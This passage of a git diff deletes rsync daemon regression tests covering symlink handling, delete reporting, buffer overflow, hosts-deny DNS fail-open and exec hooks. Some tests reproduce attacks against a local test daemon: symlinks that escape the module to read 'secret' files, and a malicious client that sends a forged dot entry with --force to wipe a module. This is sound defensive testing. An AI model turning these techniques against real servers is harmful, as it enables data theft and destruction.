rel).is_file():\n-        test_fail(f\"daemon pull -aL dropped in-tree symlinked content: dest/{rel} missing\")\n-assert_same(mod / 'dir' / 'a.txt', base / 'dest' / 'dir_link' / 'a.txt', label='content')\n-\n-print(\"daemon-copy-links-symlink: daemon -aL follows an in-tree dir-symlink in the module\")\ndiff --git a/testsuite/daemon-copylinks-intree_test.py b/testsuite/daemon-copylinks-intree_test.py\ndeleted file mode 100755\nindex 80592b4..0000000\n--- a/testsuite/daemon-copylinks-intree_test.py\n+++ /dev/null\n@@ -1,49 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A daemon sender must follow an in-tree symlink for -L/--copy-links.\n-\n-A read-only daemon module that contains a benign in-tree symlink (`lnk` ->\n-a sibling regular file inside the module) must, when pulled with `-aL`, transfer\n-the symlink's target as a regular file -- exactly as a plain local `-aL` does.\n-\n-Regression: the daemon sender was observed to refuse the in-tree symlink with\n-\"failed to open ... Too many levels of symbolic links\" (ELOOP), exit 23, leaving\n-the file untransferred -- while a local `-aL` of the same tree, and an older\n-rsync over the daemon, both follow it. The leaf-symlink refusal that protects the\n-content open must not defeat an operator's explicit --copy-links request for an\n-in-tree (non-escaping) symlink.\n-\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, assert_same, makepath, rmtree, run_rsync, start_test_daemon,\n-    test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12935\n-\n-served = SCRATCHDIR / 'cli_mod'\n-dest = SCRATCHDIR / 'cli_dest'\n-rmtree(served)\n-rmtree(dest)\n-makepath(served)\n-(served / 'real').write_text(\"symlink target content\\n\")\n-os.symlink('real', served / 'lnk')          # in-tree symlink to a sibling file\n-(served / 'anchor').write_text(\"anchor\\n\")\n-\n-conf = write_daemon_conf([('m', {'path': str(served), 'read only': 'yes'})])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Pull with -L: the daemon sender must follow the in-tree symlink and send its\n-# target as a regular file (codes 0 ok; 23 = the very failure we are guarding).\n-run_rsync('-aL', f'{url}m/', f'{dest}/', check=False)\n-\n-if not (dest / 'lnk').exists():\n-    test_fail(\"daemon -aL did not transfer the in-tree symlink 'lnk' \"\n-              \"(the sender refused to follow it)\")\n-if os.path.islink(dest / 'lnk'):\n-    test_fail(\"daemon -aL left 'lnk' as a symlink instead of following it\")\n-assert_same(dest / 'lnk', served / 'real',\n-            label=\"daemon -aL followed the in-tree symlink to its target\")\n-\n-print(\"daemon-copylinks-intree: daemon -aL follows an in-tree symlink\")\ndiff --git a/testsuite/daemon-copylinks-parent-escape_test.py b/testsuite/daemon-copylinks-parent-escape_test.py\ndeleted file mode 100644\nindex cfdf604..0000000\n--- a/testsuite/daemon-copylinks-parent-escape_test.py\n+++ /dev/null\n@@ -1,87 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"--copy-links may follow \"..\" inside the module, but never out of it.\n-\n-Allowing a parent-relative symlink target to resolve at all is a loosening:\n-the resolver used to refuse every literal \"..\" at the front door, which\n-protected the module boundary by accident while also breaking legitimate\n-in-module targets.  Now the fd-anchored walk decides, popping a held parent\n-descriptor per \"..\" and refusing to pop above the module root.\n-\n-So both directions need holding down together, which is what this checks:\n-\n-  in-module  ../target.txt   file symlink -> dereferenced (the loosening works)\n-  in-module  ../targetdir    dir  symlink -> dereferenced\n-  escaping   ../../outside/* file symlink -> refused, no content leaves\n-  escaping   ../../outside/* dir  symlink -> refused, no content leaves\n-\n-A file and a directory symlink are both covered because they take different\n-paths through the sender -- the directory one already understood \"..\", the\n-file one did not, which is the asymmetry this fix removes.\n-\"\"\"\n-\n-import os\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-PORT = 12945\n-\n-IN_FILE = 'IN-MODULE-FILE\\n'\n-IN_DIRFILE = 'IN-MODULE-DIRFILE\\n'\n-SECRET = 'OUT-OF-MODULE-SECRET\\n'\n-DIRSECRET = 'OUT-OF-MODULE-DIRSECRET\\n'\n-\n-base = SCRATCHDIR / 'copylinks-parent-escape'\n-rmtree(base)\n-module = base / 'module'\n-outside = base / 'outside'\n-dest = base / 'dest'\n-makepath(module / 'sub', module / 'targetdir', outside / 'outdir', dest)\n-\n-(module / 'target.txt').write_text(IN_FILE)\n-(module / 'targetdir' / 'f.txt').write_text(IN_DIRFILE)\n-# Siblings of the module root: reachable only by climbing above it.\n-(outside / 'secret.txt').write_text(SECRET)\n-(outside / 'outdir' / 's.txt').write_text(DIRSECRET)\n-\n-os.symlink('../target.txt', module / 'sub' / 'in_file')\n-os.symlink('../targetdir', module / 'sub' / 'in_dir')\n-os.symlink('../../outside/secret.txt', module / 'sub' / 'esc_file')\n-os.symlink('../../outside/outdir', module / 'sub' / 'esc_dir')\n-\n-conf = write_daemon_conf([\n-    ('m', {'path': str(module), 'read only': 'yes', 'use chroot': 'no'}),\n-], name='copylinks-parent-escape.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-# A refused escape makes rsync exit 23; that is the expected outcome here, so\n-# the oracle is what landed on disk rather than the exit status.\n-proc = subprocess.run(\n-    rsync_argv('-r', '--copy-links', f'{url}m/sub/', str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:400]!r}'\n-\n-# 1. Nothing from above the module root may appear anywhere in the destination.\n-for path in sorted(p for p in dest.rglob('*') if p.is_file()):\n-    body = path.read_text(errors='replace')\n-    if body in (SECRET, DIRSECRET):\n-        test_fail(f'--copy-links followed a symlink out of the module: {path} '\n-                  f'holds out-of-module content ({ctx})')\n-\n-# 2. The in-module targets must still be dereferenced -- otherwise \"no leak\"\n-#    could be satisfied by refusing everything, which is the bug being fixed.\n-got_file = dest / 'in_file'\n-if not got_file.is_file() or got_file.is_symlink():\n-    test_fail(f'in-module ../target.txt was not dereferenced ({ctx})')\n-if got_file.read_text() != IN_FILE:\n-    test_fail(f'in-module file symlink gave wrong content: '\n-              f'{got_file.read_text()!r} ({ctx})')\n-\n-got_dirfile = dest / 'in_dir' / 'f.txt'\n-if not got_dirfile.is_file() or got_dirfile.read_text() != IN_DIRFILE:\n-    test_fail(f'in-module ../targetdir was not dereferenced ({ctx})')\n-\n-print('copy-links followed \"..\" inside the module and refused it at the root')\ndiff --git a/testsuite/daemon-copylinks-parent-target-regression_test.py b/testsuite/daemon-copylinks-parent-target-regression_test.py\ndeleted file mode 100644\nindex b0cb6fb..0000000\n--- a/testsuite/daemon-copylinks-parent-target-regression_test.py\n+++ /dev/null\n@@ -1,55 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon --copy-links must follow a safe parent-relative symlink target.\"\"\"\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, makepath, rmtree, test_fail, test_skipped,\n-    write_daemon_conf,\n-)\n-from stdio_daemon import finish_stdio_daemon, start_stdio_daemon\n-\n-# The hand-rolled client below speaks protocol 30 and greets with it, so a run\n-# that pins the daemon lower cannot complete the handshake and just times out.\n-# The behaviour under test is not protocol-specific -- the sibling\n-# daemon-copylinks-parent-escape drives the same paths with the real client at\n-# whatever protocol the run selects.\n-_proto = forced_protocol()\n-if _proto is not None and _proto < 30:\n-    test_skipped(f'the stdio_daemon client speaks protocol 30 (forced {_proto})')\n-\n-PAYLOAD = 'safe-parent-relative-target\\n'\n-\n-base = SCRATCHDIR / 'daemon-copylinks-parent'\n-module = base / 'module'\n-dest = base / 'dest'\n-rmtree(base)\n-makepath(module / 'sub', dest)\n-(module / 'target').write_text(PAYLOAD)\n-(module / 'sub' / 'control').write_text('control\\n')\n-os.symlink('../target', module / 'sub' / 'parent-link')\n-\n-conf = write_daemon_conf([\n-    ('m', {'path': module, 'read only': 'yes', 'hosts allow': '*'}),\n-])\n-client, daemon = start_stdio_daemon(conf)\n-failure = None\n-try:\n-    client.handshake(\n-        'm', ['--server', '--sender', '-rLe.LsfxCIu', '.', 'm/sub/'],\n-        greeting_version=30,\n-    )\n-    client.pull(str(dest), preserve_times=False, preserve_perms=False)\n-except Exception as exc:  # noqa: BLE001 - retain daemon stderr for the oracle\n-    failure = repr(exc)\n-daemon_stderr = finish_stdio_daemon(client, daemon)\n-\n-got = dest / 'parent-link'\n-if failure or not got.is_file() or got.is_symlink() or got.read_text() != PAYLOAD:\n-    test_fail(\n-        'daemon -rL failed to dereference an in-module parent-relative '\n-        f'symlink (client_error={failure}, exists={got.exists()}, '\n-        f'stderr={daemon_stderr.strip()!r})'\n-    )\n-\n-print('daemon-copylinks-parent-target: safe ../ target was dereferenced')\ndiff --git a/testsuite/daemon-delete-msg-overflow_test.py b/testsuite/daemon-delete-msg-overflow_test.py\ndeleted file mode 100644\nindex 150f9c2..0000000\n--- a/testsuite/daemon-delete-msg-overflow_test.py\n+++ /dev/null\n@@ -1,120 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A quiet daemon delete must not queue every deleted pathname.\n-\n-The daemon-side generator cannot always flush multiplexed messages while the\n-sender is still producing its file list, so send_msg() lets its message buffer\n-grow.  Sending MSG_DELETED for a quiet transfer made a large recursive delete\n-grow that buffer without bound even though the client would print none of the\n-names.  At --max-alloc the allocation error itself was sent through the same\n-full buffer, recursively exhausting the stack.\n-\n-Use long paths to reach the 1-MiB minimum --max-alloc with a modest number of\n-files.  --delete-excluded and --backup-dir mirror the reported daemon failure.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, TODIR,\n-    build_rsyncd_conf, makepath, rmtree, rsync_argv, start_test_daemon,\n-    test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12969\n-FILE_COUNT = 1400\n-\n-src = FROMDIR\n-dst = TODIR / 'current'\n-history = dst / 'history'\n-\n-rmtree(src)\n-rmtree(TODIR)\n-makepath(src, dst)\n-(src / 'keep').write_text('keep\\n')\n-(dst / 'keep').write_text('keep\\n')\n-\n-# Keep the complete path below the most restrictive systems' practical limits.\n-# The messages total over 1 MiB; more than twice the 512-KiB queue occupancy\n-# that makes its next doubling hit (and be rejected by) --max-alloc=1m.\n-deep = dst / 'runs'\n-for i in range(10):\n-    deep /= f'd{i}-' + 'x' * 76\n-makepath(deep)\n-for i in range(FILE_COUNT):\n-    (deep / f'stale-{i:04d}').touch()\n-\n-conf = build_rsyncd_conf()\n-url = start_test_daemon(conf, DAEMON_PORT)\n-proc = subprocess.run(\n-    rsync_argv(\n-        '-a', '--delete', '--delete-excluded', '--backup',\n-        '--backup-dir=history', '--exclude=/runs/', '--max-alloc=1m',\n-        f'{src}/', f'{url}test-to/current/',\n-    ),\n-    capture_output=True,\n-    text=True,\n-)\n-out = proc.stdout + proc.stderr\n-if proc.returncode != 0:\n-    test_fail(f'quiet daemon delete exited {proc.returncode}:\\n{out}')\n-if out:\n-    test_fail(f'quiet daemon delete unexpectedly listed deleted names:\\n{out}')\n-if (dst / 'runs').exists():\n-    test_fail('excluded destination tree was not deleted')\n-\n-backed_up = history / 'runs'\n-if len(list(backed_up.rglob('stale-*'))) != FILE_COUNT:\n-    test_fail('deleted files were not all moved into the backup directory')\n-\n-# A requested deletion list is still allowed to hit --max-alloc, but reporting\n-# that error must not recurse through the same full queue until the daemon\n-# exhausts its stack.  Restore the files and repeat with deletion output on.\n-backed_up.rename(dst / 'runs')\n-proc = subprocess.run(\n-    rsync_argv(\n-        '-av', '--delete', '--delete-excluded', '--backup',\n-        '--backup-dir=history', '--exclude=/runs/', '--max-alloc=1m',\n-        f'{src}/', f'{url}test-to/current/',\n-    ),\n-    capture_output=True,\n-    text=True,\n-)\n-out = proc.stdout + proc.stderr\n-if proc.returncode == 0:\n-    test_fail('verbose daemon delete unexpectedly stayed below --max-alloc')\n-if 'Segmentation fault' in out:\n-    test_fail(f'verbose daemon delete recursively exhausted its stack:\\n{out}')\n-\n-alloc_errors = (SCRATCHDIR / 'rsyncd.log').read_text().count(\n-    'exceeded --max-alloc='\n-)\n-if alloc_errors != 1:\n-    test_fail(f'expected one daemon --max-alloc error, found {alloc_errors}')\n-\n-# The daemon's max-verbosity clamp applies after parsing the peer's options.\n-# It must not erase the fact that the client explicitly requested deletions.\n-conf_text = conf.read_text()\n-clamped_conf = conf_text.replace('max verbosity = 4', 'max verbosity = 0')\n-if clamped_conf == conf_text:\n-    test_fail('could not lower max verbosity in the daemon configuration')\n-conf.write_text(clamped_conf)\n-rmtree(dst)\n-makepath(dst)\n-(dst / 'keep').write_text('keep\\n')\n-(dst / 'clamped').write_text('delete me\\n')\n-proc = subprocess.run(\n-    rsync_argv(\n-        '-a', '--delete', '--info=del',\n-        f'{src}/', f'{url}test-to/current/',\n-    ),\n-    capture_output=True,\n-    text=True,\n-)\n-out = proc.stdout + proc.stderr\n-if proc.returncode != 0:\n-    test_fail(f'max-verbosity daemon delete exited {proc.returncode}:\\n{out}')\n-if 'deleting clamped' not in proc.stdout:\n-    test_fail(f'max verbosity hid a requested deletion:\\n{out}')\n-\n-print('daemon-delete-msg-overflow: deletion output and allocation failure verified')\ndiff --git a/testsuite/daemon-delete-stats_test.py b/testsuite/daemon-delete-stats_test.py\ndeleted file mode 100644\nindex 3639a5b..0000000\n--- a/testsuite/daemon-delete-stats_test.py\n+++ /dev/null\n@@ -1,48 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon upload delete stats report deleted files.\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    build_rsyncd_conf, forced_protocol, makepath, rmtree, rsync_argv,\n-    start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12899\n-\n-src = FROMDIR\n-dst = TODIR\n-\n-rmtree(src)\n-rmtree(dst)\n-makepath(src, dst)\n-\n-(src / 'keep.txt').write_text(\"keep\\n\")\n-(dst / 'keep.txt').write_text(\"keep\\n\")\n-(dst / 'delete.txt').write_text(\"delete\\n\")\n-\n-url = start_test_daemon(build_rsyncd_conf(), DAEMON_PORT)\n-\n-proc = subprocess.run(\n-    rsync_argv('-a', '--delete', '-i', '--stats', f'{src}/', f'{url}test-to/'),\n-    capture_output=True,\n-    text=True,\n-)\n-out = proc.stdout + proc.stderr\n-print(out)\n-\n-if proc.returncode != 0:\n-    test_fail(f\"daemon upload delete run exited {proc.returncode}\")\n-\n-if '*deleting   delete.txt' not in out:\n-    test_fail(f\"daemon upload did not itemize the deleted file:\\n{out}\")\n-\n-# The delete-stats summary line is only sent to the client at protocol >= 31\n-# (the NDX_DEL_STATS message); an older client can't receive the count, so\n-# only assert it when the protocol isn't pinned below 31.\n-pv = forced_protocol()\n-if pv is None or pv >= 31:\n-    if 'Number of deleted files: 1 (reg: 1)' not in out:\n-        test_fail(f\"daemon upload did not report the deleted file in stats:\\n{out}\")\ndiff --git a/testsuite/daemon-deny-dns-failopen_test.py b/testsuite/daemon-deny-dns-failopen_test.py\ndeleted file mode 100644\nindex 55ae8a1..0000000\n--- a/testsuite/daemon-deny-dns-failopen_test.py\n+++ /dev/null\n@@ -1,70 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon: a `hosts deny` hostname token that cannot be resolved must fail CLOSED.\n-\n-KI-43 / sibling of CVE-2026-43617 (access.c).  match_hostname() does a forward\n-DNS lookup of a config-specified hostname token (gethostbyname) and, on failure,\n-returned \"no match\" -- indistinguishable from a real non-match -- so allow_access\n-fell through to ALLOW.  A daemon with `hosts deny = <hostname>` therefore silently\n-admitted the very host it meant to block whenever the token could not resolve (a\n-resolver-less chroot -- a recommended hardening -- or a transient DNS failure),\n-with no attacker DNS control required.\n-\n-The fix makes an unresolvable token on a DENY list fail closed (treated as a\n-match, i.e. deny) while leaving allow-list behaviour unchanged.\n-\n-This needs --use-tcp: match_hostname only runs for a real TCP peer (127.0.0.1).\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, RSYNC,\n-    make_tree, require_tcp, rmtree, rsync_argv, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12894\n-require_tcp(\"hosts deny DNS-failure matching needs a real TCP peer\")\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-# `.invalid` is reserved (RFC 6761) to never resolve, so gethostbyname() on the\n-# deny token fails deterministically -- exactly the fail-open trigger.\n-conf = SCRATCHDIR / 'deny-dns.conf'\n-conf.write_text(\n-    f\"pid file = {SCRATCHDIR}/rsyncd.pid\\n\"\n-    \"use chroot = no\\n\"\n-    f\"log file = {SCRATCHDIR}/rsyncd.log\\n\"\n-    f\"\\n[plain]\\n\\tpath = {src}\\n\\tread only = yes\\n\"\n-    f\"\\n[deny-match]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = 127.0.0.0/8\\n\"\n-    f\"\\n[deny-nomatch]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = 10.0.0.0/8\\n\"\n-    f\"\\n[deny-unresolvable]\\n\\tpath = {src}\\n\\tread only = yes\\n\\thosts deny = nope.nonexistent.invalid\\n\"\n-)\n-# The access check is daemon-side, so the daemon must be the binary under test\n-# (matters under --rsync-bin2, where RSYNC_PEER could be a different/old binary).\n-url = start_test_daemon(conf, DAEMON_PORT, rsync_cmd=RSYNC)\n-\n-\n-def connect(mod):\n-    \"\"\"Return rsync's exit code for listing the module over the daemon.\"\"\"\n-    return subprocess.run(rsync_argv('-r', f'{url}{mod}/'),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True).returncode\n-\n-\n-# Controls (non-vacuity): the daemon answers, the deny mechanism works, and a\n-# non-matching deny still admits.\n-if connect('plain') != 0:\n-    test_fail(\"control: connection to [plain] (no deny) should be ALLOWED but was refused\")\n-if connect('deny-match') == 0:\n-    test_fail(\"control: [deny-match] (hosts deny = 127.0.0.0/8) should be DENIED but succeeded\")\n-if connect('deny-nomatch') != 0:\n-    test_fail(\"control: [deny-nomatch] (hosts deny = 10.0.0.0/8, non-matching) should be ALLOWED but was refused\")\n-\n-# The fix: an unresolvable deny-list hostname token must fail CLOSED.\n-if connect('deny-unresolvable') == 0:\n-    test_fail(\"[deny-unresolvable] (hosts deny = nope.nonexistent.invalid) was ALLOWED: \"\n-              \"an unresolvable deny token failed OPEN (KI-43)\")\n-\n-print(\"daemon-deny-dns-failopen: unresolvable hosts-deny token fails closed\")\ndiff --git a/testsuite/daemon-dot-file-force-wipe_test.py b/testsuite/daemon-dot-file-force-wipe_test.py\ndeleted file mode 100644\nindex 895f3f6..0000000\n--- a/testsuite/daemon-dot-file-force-wipe_test.py\n+++ /dev/null\n@@ -1,60 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A write client must not use a forged dot entry to wipe a daemon module.\"\"\"\n-\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, rmtree, start_rsyncd,\n-    test_fail,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13013\n-\n-require_tcp(\"the malicious daemon client needs a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-base = SCRATCHDIR / 'daemon-dot-file-force-wipe'\n-rmtree(base)\n-mod = base / 'mod'\n-makepath(mod / 'private')\n-sentinel = mod / 'private' / 'must-survive'\n-sentinel.write_text('pre-existing module data\\n')\n-\n-conf = base / 'rsyncd.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    read only = no\n-    write only = yes\n-    refuse options = delete\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-s = rp.DaemonClient('127.0.0.1', PORT)\n-s.handshake(\n-    'mod',\n-    ['--server', '-re.LsfxCIu', '--force', '--no-inc-recursive', '.', 'mod/'],\n-    greeting_version=30,\n-)\n-s.send_flat_flist([\n-    rp.FileEntry('.', mode=rp.S_IFREG | 0o644, length=0),\n-])\n-s.drain(timeout=5)\n-s.close()\n-\n-for _ in range(50):\n-    if not sentinel.exists():\n-        break\n-    time.sleep(0.02)\n-\n-if not sentinel.exists():\n-    test_fail(\n-        'write-only client bypassed refuse-options=delete by sending a regular '\n-        'dot entry with --force and recursively wiped the daemon module root')\n-\n-print('daemon-dot-file-force-wipe: daemon rejected a non-directory dot root '\n-      'from a write-only client')\ndiff --git a/testsuite/daemon-early-exec-nameconv_test.py b/testsuite/daemon-early-exec-nameconv_test.py\ndeleted file mode 100644\nindex deba2a9..0000000\n--- a/testsuite/daemon-early-exec-nameconv_test.py\n+++ /dev/null\n@@ -1,146 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: `early exec` and `name converter` module hooks.\n-\n-daemon-exec_test.py covers pre-xfer/post-xfer exec; this fills in the other\n-two start_pre_exec() callers in clientserver.c:\n-\n-  early exec     -- runs before the @RSYNCD: OK, before pre-xfer exec, with\n-                    request=\"(NONE)\" and the client's --early-input bytes on\n-                    its stdin (write_pre_exec_args type 1).\n-  name converter -- a long-running script that the daemon queries via\n-                    namecvt_call() (uidlist.c) for every uid/gid <-> name\n-                    mapping, used when chroot would hide /etc/passwd.\n-\n-Both go through the start_pre_exec() forked-child path that 845fd1103113\n-made gcov-visible.\n-\"\"\"\n-\n-import os\n-import pwd\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR, SRCDIR,\n-    make_tree, makepath, owners_supported, rmtree, rsync_argv,\n-    start_test_daemon, test_fail, test_skipped, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12891\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=2)\n-\n-markers = SCRATCHDIR / 'markers'\n-rmtree(markers)\n-makepath(markers)\n-dest_early = SCRATCHDIR / 'dest-early'\n-dest_conv = SCRATCHDIR / 'dest-conv'\n-makepath(dest_early, dest_conv)\n-\n-\n-def script(name, body):\n-    p = SCRATCHDIR / name\n-    p.write_text('#!/bin/sh\\n' + body)\n-    p.chmod(0o755)\n-    return p\n-\n-\n-# early-exec: capture RSYNC_MODULE_NAME (set before start_pre_exec) and the\n-# --early-input bytes (piped to the child's stdin after the request/argv).\n-early = script(\n-    'early.sh',\n-    f'printf \"%s|\" \"$RSYNC_MODULE_NAME\" > {markers}/early\\n'\n-    f'cat >> {markers}/early\\n',\n-)\n-\n-# name converter: log every request to a marker so the test can verify\n-# namecvt_call() actually drove it, then defer to the shipped support script\n-# for the answer.\n-nameconv = script(\n-    'nameconv.sh',\n-    f'tee -a {markers}/nameconv | python3 {SRCDIR}/support/nameconvert\\n',\n-)\n-\n-early_input = SCRATCHDIR / 'early-input.bin'\n-early_input.write_bytes(b'EARLY-PAYLOAD')\n-\n-conf = write_daemon_conf([\n-    ('early', {\n-        'path': str(dest_early), 'read only': 'no', 'use chroot': 'no',\n-        'early exec': str(early),\n-    }),\n-    ('conv', {\n-        'path': str(dest_conv), 'read only': 'no', 'use chroot': 'no',\n-        'name converter': str(nameconv),\n-        # Force name<->id mapping so uidlist.c hits namecvt_call().\n-        'numeric ids': 'no',\n-    }),\n-], name='early-nameconv.conf')\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-# --- early exec -------------------------------------------------------------\n-\n-r = subprocess.run(\n-    rsync_argv('-r', f'--early-input={early_input}', f'{src}/', f'{url}early/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"push to [early] failed (rc={r.returncode}):\\n{r.stderr}\")\n-em = (markers / 'early')\n-if not em.is_file():\n-    test_fail(\"early-exec script never ran (no marker file)\")\n-got = em.read_text()\n-if got != 'early|EARLY-PAYLOAD':\n-    test_fail(f\"early-exec env/--early-input wrong: {got!r}\")\n-\n-\n-# --- name converter ---------------------------------------------------------\n-\n-# recv_add_id() only calls user_to_uid()/group_to_gid() (-> namecvt_call) when\n-# the incoming id is NON-zero, so the source tree needs a non-root owner.\n-# Pick any non-root passwd entry that exists in this environment; skip the\n-# name-converter half if there isn't one (or we can't chown).\n-nonroot = next((p for p in pwd.getpwall() if p.pw_uid != 0 and p.pw_gid != 0), None)\n-if not owners_supported() or nonroot is None:\n-    print(\"daemon-early-exec-nameconv: early-exec ok; \"\n-          \"name-converter SKIPPED (no non-root passwd entry / cannot chown)\")\n-    raise SystemExit(0)\n-for p in src.rglob('*'):\n-    os.chown(p, nonroot.pw_uid, nonroot.pw_gid)\n-\n-# -og (preserve owner+group) without --numeric-ids: the daemon receiver maps\n-# the sender's uid/gid names through namecvt_call() -> our script.\n-r = subprocess.run(\n-    rsync_argv('-rog', f'{src}/', f'{url}conv/'),\n-    capture_output=True, text=True,\n-)\n-if r.returncode != 0:\n-    test_fail(f\"push to [conv] failed (rc={r.returncode}):\\n{r.stderr}\")\n-\n-# The converter is a co-process; give it a moment to flush the tee.\n-nm = markers / 'nameconv'\n-deadline = time.monotonic() + 5\n-while time.monotonic() < deadline and not (nm.is_file() and nm.stat().st_size):\n-    time.sleep(0.05)\n-if not nm.is_file() or not nm.stat().st_size:\n-    test_fail(\"name-converter script never received any namecvt_call() requests\")\n-\n-reqs = nm.read_text().splitlines()\n-# At minimum: a 'usr <name>' and a 'grp <name>' for the sending user's uid/gid.\n-if not any(l.startswith('usr ') for l in reqs):\n-    test_fail(f\"name-converter saw no 'usr' request: {reqs!r}\")\n-if not any(l.startswith('grp ') for l in reqs):\n-    test_fail(f\"name-converter saw no 'grp' request: {reqs!r}\")\n-\n-# And the dest tree's owner should have been mapped through to the same uid.\n-some_dest = next(p for p in dest_conv.rglob('*') if p.is_file())\n-st = os.stat(some_dest)\n-if st.st_uid != nonroot.pw_uid:\n-    test_fail(f\"name-converter mapping did not apply: dest uid {st.st_uid} \"\n-              f\"!= {nonroot.pw_uid} ({nonroot.pw_name})\")\n-\n-print(f\"daemon-early-exec-nameconv: early-exec env+stdin ok; \"\n-      f\"name-converter handled {len(reqs)} request(s)\")\ndiff --git a/testsuite/daemon-exclude-from-outside-module_test.py b/testsuite/daemon-exclude-from-outside-module_test.py\ndeleted file mode 100644\nindex 3a86af6..0000000\n--- a/testsuite/daemon-exclude-from-outside-module_test.py\n+++ /dev/null\n@@ -1,60 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A daemon's own \"exclude from\" file may live outside the module root.\n-\n-\"exclude from\" / \"include from\" / \"filter\" name operator-configured paths, and\n-pointing them at something like /etc/rsync/excludes is the ordinary way to\n-write them -- rsyncd.conf(5) puts no constraint on where the file lives.\n-\n-parse_filter_file() confines a PEER-driven merge file to the module root, since\n-a non-chrooted daemon writes --backup-dir entries as root and a raced backup\n-symlink is therefore root-owned, which the ownership walk trusts (see\n-filter-leak).  That confinement must not extend to the operator's own\n-parameters: applying it to these three refuses the file outright and takes the\n-whole connection down with it, for a config that has nothing to do with the\n-attack.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-PORT = 12947\n-\n-base = SCRATCHDIR / 'exclude-from-outside'\n-rmtree(base)\n-module = base / 'module'\n-etc = base / 'etc'\n-dest = base / 'dest'\n-makepath(module, etc, dest)\n-\n-(module / 'keep.txt').write_text('KEEP\\n')\n-(module / 'drop.txt').write_text('DROP\\n')\n-# Deliberately a sibling of the module root, not inside it.\n-(etc / 'excludes').write_text('drop.txt\\n')\n-\n-conf = write_daemon_conf([\n-    ('m', {\n-        'path': str(module),\n-        'read only': 'yes',\n-        'use chroot': 'no',\n-        'exclude from': str(etc / 'excludes'),\n-    }),\n-], name='exclude-from-outside.conf')\n-url = start_test_daemon(conf, PORT)\n-\n-proc = subprocess.run(\n-    rsync_argv('-r', f'{url}m/', str(dest) + '/'),\n-    stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n-ctx = f'rc={proc.returncode}, output={proc.stdout.strip()[:300]!r}'\n-\n-if proc.returncode != 0:\n-    test_fail(f'daemon refused an \"exclude from\" file outside the module root ({ctx})')\n-\n-got = sorted(p.name for p in dest.rglob('*') if p.is_file())\n-if got != ['keep.txt']:\n-    test_fail(f'expected only keep.txt to transfer, got {got} ({ctx})')\n-\n-print('an operator \"exclude from\" outside the module root is still honoured')\ndiff --git a/testsuite/daemon-exclude-namebased_test.py b/testsuite/daemon-exclude-namebased_test.py\ndeleted file mode 100644\nindex 84275d5..0000000\n--- a/testsuite/daemon-exclude-namebased_test.py\n+++ /dev/null\n@@ -1,59 +0,0 @@\n-#!/usr/bin/env python3\n-# The daemon exclude/filter matches the LOGICAL module-relative NAME, anchored at\n-# the module root -- it is a visibility/tamper filter, not a physical-path\n-# boundary.  rsyncd.conf(5) (filter parameter) says a subtree must be excluded\n-# with a trailing-slash or \"/***\" pattern; a bare anchored name protects only an\n-# entry literally of that name, not paths under it.  This test makes that\n-# documented, name-based behaviour executable (it matches stock rsync 3.2.7).\n-#\n-# A direct push of a FILE to <excluded>/x2.tx:\n-#   exclude = /excluded      (bare name)   -> LANDS  (subtree not protected)\n-#   exclude = /excluded/     (dir form)    -> refused\n-#   exclude = /excluded/***  (subtree)     -> refused\n-# One daemon serves three modules (one per pattern) so a single rsyncd handles\n-# all cases -- avoids multi-daemon port/pid churn on some platforms.  Unprivileged.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, rmtree, rsync_argv, start_test_daemon, test_fail, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 13010\n-\n-# (module name, exclude pattern, expect the pushed file to land)\n-CASES = [\n-    ('bare',    '/excluded',     True),   # bare name: does NOT protect the subtree\n-    ('dir',     '/excluded/',    False),  # 